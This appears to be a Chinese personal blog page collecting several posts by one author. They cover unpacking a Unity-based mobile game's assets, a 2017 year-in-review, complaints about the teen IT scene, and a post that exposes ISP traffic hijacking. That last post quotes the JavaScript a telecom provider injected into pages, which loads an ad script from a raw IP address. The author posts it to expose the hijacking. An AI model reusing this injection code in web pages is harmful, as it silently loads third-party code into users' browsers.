Soha Jin 发布的文章


解包《恋与制作人》后的小发现


上周五下午心血来潮地想要解包《恋与制作人》的app,它是使用以Xamarin为基础的Unity制作的(解包的过程简记在这里),经过两天的努力,周日下午完成所有解包工作。先上两张成果图吧。

card_h_dir.png

所有的卡面图片

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一次解包 Xamarin Unity 应用的经历


0x00

本Soha正式入坑《恋与制作人》有段时间了。这辈子第一次这么肝游戏……小哥哥真帅啊……

白起老公!

为了更好的学(kuang)(tian)(lao)(gong),我尝试从这个游戏入手,解包一个 Unity 应用。

(Android 包名: com.papegames.evol )

0x01 万能的 unzip

下载apk,然后直接unzip了它。然后我们想要的东西都在 assets 文件夹里。

unzip.png

有个文件,路径是 /assets/bin/Data/unity default resources 很容易引起注意。

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Bonjour 2018!


2018年来啦!嘿,Soha 准备好了!又是一个惯例的回首这一年的时候。2017年,Soha 17周岁。

2017年注定是重要的一年,这一年发生的,对我整个人生都带来了非常大的影响。今年年初到初夏是我性别焦虑最严重的时候,在这段时间里,我的思想非常混乱,内心非常烦躁,行为也很激动。最关键的是,我还丢了个人。想通这一切是在8月初,在准备于宁波举行的 ¡Hola! Conf 2017 上的演讲的时候想通的。很庆幸,我让自己想通了,恢复了以前可爱的阳光的活泼的 Soha 的形象。但是很可惜的是,该发生的已经发生了,有些伤害一旦造成了就不容易抚平了。

2017年我参加了我这辈子第一场 FIRST Robotics Competition (FRC),在深圳,跟着我的队伍 6385 TrueMoe。随后因为6385进入了休眠,我又进入了深圳队伍 5453 Red Comet 并随他们参加了中国的FRC季后赛。在 FRC 上,我尝试了未尝试过的 OpenCV、Caffe、TensorFlow 等框架。

这一年,我入坑了 Go 和 Rust,但这两种语言目前学习的深度还只是大部分会的语言。今年主要使用的语言还是 PHP、JavaScript、Python、HTML、CSS。OI in Hand 的开发在高三被我重新提上日程。但因为事情比较多,比较杂,我也开了不少小坑来填,所以进度不快。

今年4月是第一次高考,虽然只有一门技术(94)。11月第二次高考,英语(129)、生物(79)、技术(91,选取之前的94)、地理(70)。虽然成绩不是很好,但是还是很有信心!2018年还有第三和最后一次高考,加油!

总体看下来,2017年可能负面的东西比较多。不怕,2018,向前走。

如果要走向光明,那就得朝着第一缕晨光出现的地方。


贴一段电信劫持http js流量的代码


我调试127.0.0.1,是怎么给电信插进广告的?
而且现在插广告越来越嚣张了,已经不是一天只见到两次了,我10分钟都两次了。
微信API我调用的是http……马上加s

上面内容是我在Telegram频道里先发的,图片懒得复制了。https://t.me/sohadays/1566

(function() {
    o = "http://res.wx.qq.com/open/js/jweixin-1.2.0.js?";
    sh = "http://222.186.61.97:7701/main.js?v=3.93&sp=311&ty=dpc";
    w = window;
    d = document;
    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id : null;
        dm.appendChild(e);
    }
    ;p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    }
    ;
    ds();
}
)();
var mim_params = {
    'sp': '311',
    'aid': '15303',
    'sda_man': 'OCoJD2sHHl9mc1Fb',
    'src': '0',
    'adtype': '1',
    'uid': 'FwYkUxBwa10QdiNfFgMYKWMBVlhqc2wpagFTW2R2bys4KgkPawceX2ZzUVs=',
    'spid': 'sohu',
    'ad_list': '15303'
};

青少年IT圈的浑水不好蹚


我在之前就因为在GTC筹备的前后发现的一些问题写了一篇文章,你可以在这里读到:为现在青少年IT人的未来而担忧。自那以后我和几个朋友确定不再举行类似GTC的青少年IT向活动,因为我们发现我们没法做到我们想做的——给青少年IT人们引进一些新的东西,提升这个圈子的素质。

最近经常搞事情的崇才科技又搞了个大新闻。国内某视频类自媒体,在微博上推送了一个有关于崇才科技的视频。在视频中,其“CEO”在其中侃侃而谈他和他的“首家00后的公司”的“伟大理想”,并妄言“老一辈企业家已经老了,未来是属于我们00后的”。雷军也对这个内容进行了评价。不假,时间的发展,“00后”肯定是要接过这个担子的,但是谁来接,谁有能力接,不是靠一个啥都没有的公司来说的。

最关键的是我们看看崇才所表现出来的他们的问题:拿别人的东西无视版权、官僚主义、打官腔、一点儿都不务实。我相信这是从几年前开始所展现出来的青少年IT人都可能会有的问题。版权的问题其实是最常见的,也是很好理解的,我相信大多数青少年IT人都有干过拿别人东西改版权的事情。但是有一点很重要,过龄的中二就是耍流氓。更不要说崇才这次还宣传这么大。他们某所谓“作品”的原作者专门写了篇文章来抨击。

还是引用GTC15中提出的概念,伪开发者和商人们不是真正热爱IT的人。

这也再次证明了现在青少年IT圈的浮躁甚至更多负面的东西。这也会导致社会对青少年IT圈失去信心,真正潜心钻研技术的青少年们,也只能选择自己闷声搞事。那么这个究竟该怪谁呢?

本文同步发表于Immortal.Work:https://immortal.work/p/93yYpyqFrDbQ7NHwf